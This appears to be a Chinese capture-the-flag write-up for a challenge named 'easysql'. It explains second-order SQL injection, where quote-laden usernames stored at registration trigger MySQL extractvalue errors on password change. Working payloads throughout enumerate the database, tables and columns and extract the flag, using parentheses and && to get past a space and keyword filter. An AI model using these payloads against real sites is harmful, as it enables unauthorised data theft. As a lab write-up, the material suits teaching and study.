【PTB】easysql-二次注入-报错注入

1.分析

观察网站后,发现有注册、登录、用户信息和改密码四个页面。 刚开始推测可能是登录或者改密码存在注入。
但是登录那里只有成功和失败,有点布尔盲注的感觉,改密码那里直接无回显。

后面发现注册界面,尝试构造带引号的用户名,发现'单引号并不影响,不会引起问题,使用双引号"测试。发现在修改密码时,爆出语句错误。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"123"" and pwd='202cb962ac59075b964b07152d234b70'' at line 1

猜想在修改密码的时候可能的sql语句的构造

update tableName set pwd='xxxxx' where username='aaa' and pwd='xxx'

其中username是我们注册的用户名,并且报错信息会展示出来。
这个是我们在注册阶段存入数据库,修改密码时调用,引发注入,所以是二次注入。
我们可以使用报错注入,使用extractvalue函数来帮助我们找出我们想要的信息。
题目中加了过滤条件:and<>[空格]/**/等符号都不能用,我们可以使用()代替空格。注释符可以用#

2.利用

查看数据库

&&代替and,()代替空格。

1"&&(extractvalue(1,concat(1,(select(database())))))#

将上述语句作为用户名,存入数据库,在修改密码时,会因为1后面的引号,引发报错,利用报错函数,将查询结果带出来。

查看数据表

1"&&(extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))#       

查看表中字段

利用mysql 的information_schema库:

1"&&(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))#

发现是干扰信息,查询其他表:

1"&&(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#

XPATH syntax error: ‘name,pwd,email,real_flag_1s_here’

发现真实flag。

查看数据

发现其中有干扰数据

1"&&(extractvalue(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)))))#

XPATH syntax error: ‘xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx,’

有干扰数据,我们利用正则直接匹配PTB{开头的字符串。

1"&&(extractvalue(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^P')))))#

XPATH syntax error: ‘PTB{21eb0c6a-32ec-43db-a8bd-688a’

由于extractvalue返回结果限制在32位,导致flag显示不全。
利用reverse将flag逆序输出。

1"&&(extractvalue(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^P'))))))#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值